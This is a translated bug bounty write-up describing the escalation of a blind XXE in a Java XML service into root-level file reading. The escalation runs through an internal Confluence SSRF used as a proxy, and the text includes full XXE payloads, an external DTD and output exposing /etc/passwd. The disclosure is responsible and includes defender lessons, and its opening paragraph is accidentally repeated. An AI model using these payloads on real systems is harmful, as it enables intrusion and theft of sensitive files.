Автор: Pieter
Недавно во время одного из исследований в рамках программы Bug Bounty я столкнулся с системой, поддерживающей XML, которая выдавала очень интересные ответы при попытке эксплуатации уязвимости XXE. Никакой документации на этот XML-сервис не было за исключением статьи от 2016 года, написанной расстроенным разработчиком, у которого была масса сложностей.
Ниже будет детально описан весь процесс, который помог мне разобраться в сути дела и превратить уязвимость средней важности в критическую брешь.я столкнулся с системой, поддерживающей XML, которая выдавала очень интересные ответы при попытке эксплуатации уязвимости XXE. Никакой документации на этот XML-сервис не было за исключением статьи от 2016 года, написанной расстроенным разработчиком, у которого была масса сложностей.
Ниже будет детально описан весь процесс, который помог мне разобраться в сути дела и превратить уязвимость средней важности в критическую брешь.
Я намеренно буду акцентировать внимание на различных сообщениях об ошибках, с которыми столкнулся, чтобы вы смогли в будущем сэкономить время и сразу пойти по правильному пути.
Примечание: я не буду упоминать никаких деталей касаемо того, с чем я работал, поскольку уязвимость была обнаружена в рамках непубличной программы, и компания не пожелала, чтобы любая информация касательно среды исследования была опубликована.
Объект исследования
Система, которая привлекла мое внимание, выдавала ошибку 404 и сообщение в формате XML.
Запрос
GET /interesting/ HTTP/1.1
Host: server.company.com
Ответ
HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive
<result>
<errors>
<error>The request is invalid: The requested resource could not be found.</error>
</errors>
</result>
После того как тип запроса был изменен на POST и добавлен заголовок Content-Type: application/xml сообщение об ошибке стало выглядеть интереснее.
Запрос
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
<xml version=»abc» ?>
<Doc/>
Ответ
<result>
<errors>
<error>The request is invalid: The request content was malformed:
XML version «abc» is not supported, only XML 1.0 is supported.</error>
</errors>
</result>
Если отослать XML-сообщение с правильной структурой, получаем следующий результат:
Запрос
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
<?xml version=»1.0″ ?>
<Doc/>
Ответ
<result>
<errors>
<error>Authentication failed: The resource requires authentication, which was not supplied wi
</errors>
</result>
Полученные ответы свидетельствуют о том, что нужно пройти авторизацию на сервере прежде, чем начать взаимодействие с системой, поддерживающей XML. К сожалению, не было никакой документации относительно получения учетных записей, и мне не удалось найти ни одного валидного аккаунта. Меня огорчало то, что многие уязвимости XXE, с которыми я сталкивался ранее, требовали первоначального подключения и хоть какого-то «корректного» взаимодействия с исследуемыми системами. Без аутентификации эксплуатация бреши могла стать намного труднее.
Однако сдаваться пока рано. Попробуем добавить DOCTYPE и проверим, заблокированы ли все внешние сущности, или мы можем продолжать наш квест.
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x&amp;amp;quot;&amp;amp;gt; %ext;
]>
<r></r>
Ответ
The server was not able to produce a timely response to your request.
Я решил взглянуть в журнал Burp Collaborator в надежде обнаружить входящий HTTP-запрос, но увидел следующее:
Рисунок 1: Логи из приложения Burp Collaborator
Не повезло! Кажется, сервер преобразовал имя домена, но ожидаемый HTTP-запрос отсутствует. Более того, был превышен лимит ожидания, и через несколько секунд сервер выдал ошибку с кодом 500.
Подобное поведение больше всего похоже на работающий фаервол. Я попробовал отправлять другие запросы на разные порты, но безуспешно. На всех портах, которые я попробовал, вываливался таймаут, из чего можно сделать вывод, что фаервол успешно блокирует весь лишний исходящий трафик. Ставлю пять баллов сотрудникам, отвечающим за сетевую безопасность.
Путешествие вслепую
На данный момент у меня есть интересная находка, но дальнейшего продвижения пока нет. Вначале я пытался получить доступ к файлам, ресурсам и службам внутренней сети, чтобы создать отчет о проблемах средней критичности для заказчика исследования.
Например, запрос ниже демонстрирует, что уязвимость можно использовать для выявления существования файлов:
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «file:///etc/passwd»> %ext;
]>
<r></r>
Ответ
The markup declarations contained or pointed to by the document type declaration must be well
Ответ сервера, приведенный выше, свидетельствует о том, что файл существует и доступен на чтение для XML-парсера. Однако содержимое файла не соответствует корректной схеме DTD (Document Type Definition; Определение типа документа), и поэтому парсер выдает ошибку. Другими словами, загрузка внешних сущностей разрешена, но мы, кажется, не можем получить что-то полезное. То есть мы нашли «слепую» уязвимость XXE.
Кроме того, можно предположить, что используется SAX Parser (из Java), поскольку содержимое ошибки, скорее всего, относится к классу org.xml.sax.SAXParseExceptionpublicId. Предположение интересное, поскольку в Java есть несколько особенностей, когда дело касается XXE, о которых мы поговорим далее.
Если попробовать получить доступ к несуществующему файлу, ответ сервера будет другим:
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «file:///etc/passwdxxx»> %ext;
]>
<r></r>
Ответ
The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)
Полученный результат полезен, но не более того. Попробуем приспособить найденную уязвимость XXE в качестве сканера портов.
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://localhost:22/&amp;quot;&amp;gt; %ext;
]>
<r></r>
Ответ
The request is invalid: The request content was malformed:
Invalid Http response
Полученный результат означает, что мы можем получить перечень внутренних служб. В целом, я надеялся найти что-то более интересное, но по крайней мере уже появилось нечто, о чем можно сообщить в отчете. Этот тип «слепой» уязвимости XXE во многом схож с брешью SSRF (Server-Side Request Forgery; Подделка запроса на стороне сервера), когда вы можете отсылать внутренние HTTP-запросы, но без возможности получить ответ.
Эта аналогия натолкнула меня на мысль о том, чтобы попробовать техники эксплуатации уязвимости SSRF применительно к моему случаю и возможно получить более интересные результаты. Вначале я решил проверить, есть ли поддержка других протоколов, включая https, gopher, ftp, jar, scp и так далее. Особо ничего интересного я не получил, кроме новых полезных сообщений об ошибках.
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [ <!ENTITY % ext SYSTEM «gopher://localhost/»> %ext; ]>
<r></r>
Ответ
The request is invalid: The request content was malformed:
unknown protocol: gopher
Результат интересный, поскольку в сообщении об ошибке выводится протокол, который мы указали в запросе. Запомним на будущее.
Продолжаем проводить параллели с уязвимостью SSRF и пробуем добраться до внутренних веб-приложений. Поскольку в компании, исследования для которой я проводил, работает много разработчиков, GitHub изобилует ссылками на внутренние хосты в формате x.company.internal. Я нашел несколько внутренних адресов, которые выглядят многообещающе:
· wiki.company.internal
· jira.company.internal
· confluence.company.internal
Вспоминая о том, что фаервол блокирует весь исходящий трафик, мне захотелось проверить, блокируется ли внутренний трафик, или внутренняя сеть рассматривается как более достоверная.
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://wiki.company.internal/&amp;quot;&amp;gt; %ext;
]>
<r></r>
Ответ
The markup declarations contained or pointed to by the document type declaration must be well
Мы уже видели похожее сообщение об ошибке, которое свидетельствует о том, что запрашиваемый ресурс доступен для чтения, но используемый формат некорректный. Сей факт означает, что внутренний трафик не блокируется, и наш запрос отработал успешно.
На данный момент при помощи найденной уязвимости XXE мы умеем отправлять (слепые) запросы к внутренним веб-приложениям, проверять присутствие файлов в системе и определять службы, запущенные на всех внутренних хостах. Я отчитался о своих находках и стал обдумывать другие возможности эксплуатации во время уикенда.
Новые горизонты
Вернувшись с уикенда со свежей головой, я был настроен продолжить исследование найденной уязвимости. В частности, я решил, что нефильтрованный внутренний трафик можно использовать для маршрутизации трафика наружу в случае, если мне удастся найти прокси во внутренней сети.
Обычно поиск брешей в веб-приложениях без обратной связи, как в нашем случае, когда ответы на запросы не приходят — малоперспективное занятие. Однако существует известная брешь SSRF для Jira, эксплуатация которой демонстрировалась в различных статьях.
Я немедленно решил протестировать внутренний Jira-сервер, адрес которого был найден через GitHub:
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?con
]>
<r></r>
Ответ
The request is invalid: The request content was malformed:
sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider…
Ох! Во время отправки HTTPS-запросов возникают ошибки каждый раз, когда верификация SSL завершается неудачно. Однако по умолчанию Jira работает как обычная HTTP-служба на TCP-порту с номером 8080. Пробуем еще раз.
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri
]>
<r></r>
Ответ
The request is invalid: The request content was malformed:
http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri
Я еще раз проверил логи в приложении Burp Collaborator, но не нашел ничего полезного. Вероятно, брешь была устранена, или отключен уязвимый плагин. Наконец, после тщетных поисков на предмет присутствия известных уязвимостей SSRF в Wiki-приложениях, я решил поискать упомянутую ранее брешь для Jira в приложении Confluence, используемого во внутренней сети и работающего по умолчанию на 8090 порту.
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic
]>
<r></r>
Ответ
The request is invalid: The request content was malformed:
The markup declarations contained or pointed to by the document type declaration must be well
И тут в логах Burp Collaborator появилось нечто интересное:
Рисунок 2: Логи в Burp Collaborator после отправки запроса приложению Confluence
Бинго! Мы успешно переправили исходящий интернет-трафик через уязвимое приложение Confluence, установленное во внутренней сети, и обошли ограничения фаервола. То есть теперь мы можем эксплуатировать XXE классическим методом. Начнем с размещение файла evil.xml на подконтрольном сервере со следующим содержимым в надежде получить полезные сообщения об ошибках:
<!ENTITY % file SYSTEM «file:///»>
<!ENTITY % ent «<!ENTITY data SYSTEM ‘%file;’>»>
Рассмотрим более подробно на объявления параметров:
Загружаем содержимое из внешнего источника (в нашем случае из директории / системы) в переменную %file.
Объявляем переменную %ent которая предназначена для сборки объявления третьей сущности с целью…
…доступа к ресурсу, находящемуся по
адресу %file (что бы там ни находилось) и загрузки содержимого в сущность data.
Обратите внимание, что мы намеренно делаем так, чтобы объявление третьей сущности было с ошибкой, поскольку в %file будет находиться не корректный путь к ресурсу, а содержимое всей директории.
Теперь, используя найденный «прокси» (в виде приложения Confluence), проверяем, что параметры %ent и &data доступны, и мы можем получить содержимое директории:
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic
%ext;
%ent;
]>
<r>&data;</r>
Ответ
no protocol: bin
boot
dev
etc
home
[…]
Прекрасно. Содержимое коревой директории сервера получено!
По результатам выше видно, что есть еще один метод получения содержимого с использованием ошибок, когда мы указываем «отсутствующий» протокол, вместо некорректного, как было ранее.
В этом случае мы решаем последнюю проблему, связанную с чтением файлов, содержащих двоеточие, поскольку при использовании вышеупомянутого метода для чтения /etc/passwd возникнет следующая ошибка:
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic
%ext;
%ent;
]>
<r>&data;</r>
Ответ
unknown protocol: root
Другими словами, чтение файла происходит до первого двоеточия. Чтобы обойти это ограничение и получить полное содержимое файла в сообщении об ошибке, нужно добавить двоеточие перед содержимым файла. В этом случае возникнет ошибка «no protocol», поскольку поле перед первым двоеточием будет пустым (т.е. неопределенным). Теперь полезная нагрузка будет выглядеть так:
<!ENTITY % file SYSTEM «file:///etc/passwd»>
<!ENTITY % ent «<!ENTITY data SYSTEM ‘:%file;’>»>
Обратите внимание на двоеточие перед переменной %file;. Повторяя атаку с использованием «прокси», получаем следующий результат:
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic
%ext;
%ent;
]>
<r>&data;</r>
Ответ
no protocol: :root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[…]
Мы получили отличный результат, однако можно выжать еще больше. Поскольку Java возвращает содержимое папки при доступе к директории, а не файл, возможно сделать ненавязчивую проверку на предмет прав суперпользователя посредством перечисления файлов в директории /root:
<!ENTITY % file SYSTEM «file:///root»>
<!ENTITY % ent «<!ENTITY data SYSTEM ‘:%file;’>»>
Запрос
<?xml version=»1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM «http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic
%ext;
%ent;
]>
<r>&data;</r>
Ответ
no protocol: :.bash_history
.bash_logout
.bash_profile
.bashrc
.pki
.ssh
[…]
Похоже, мы поймали удачу за хвост. Нам удалось на базе «слепой» уязвимости XXE получить полноценный доступ на чтение файлов уровня суперпользователя посредством эксплуатации не очень удачной сегментации сети, необновленного сервера приложений и чрезмерно привилегированного веб-сервера. В итоге мы добились утечки данных через сообщения об ошибках.
Сделанные выводы
С позиции пентестера
Если что-то кажется странным, продолжайте исследование.
Интересный метод обработки схем URL парсером Java SAX Parser позволяет извлечь информацию при помощи новых техник. Ввиду того, что в современных версия Java нельзя загрузить многострочный файл как часть внешнего HTTP-запроса (например, так http://attacker.org/?&amp;amp;file;), но возможно получить многострочный ответ в сообщениях об ошибках и даже в протоколе, указываемого в URL.
С позиции системного администратора
Проверить, что на внутренних серверах установлены все обновления.
Не рассматривать внутреннюю сеть как достоверную зону. Использовать адекватную сетевую сегментацию.
Писать детальные сообщения об ошибках в логи, а не в HTTP-ответы.
Аутентификация не всегда помогает против низкоуровневых проблем таких как XXE.
Хронология событий
26 ноября 2018 года – Впервые обнаружен интересный узел с поддержкой XML
26 ноября 2018 года – Отправлен отчет о нахождении «слепой» уязвимости XXE, позволяющей обнаруживать файлы, директории, пути во внутренней сети и открытые порты.
3 декабря 2018 года – Найден уязвимый внутренний сервер с приложением Confluence. Продемонстрирован экспериментальный код, позволяющий получить права доступа уровня суперпользователя.
4 декабря 2018 года – Уязвимость исправлена, вознаграждение выплачено.
6 декабря 2018 года – Запрошено разрешение на публикацию статьи.
12 декабря 2018 года – Разрешение получено.
Источник: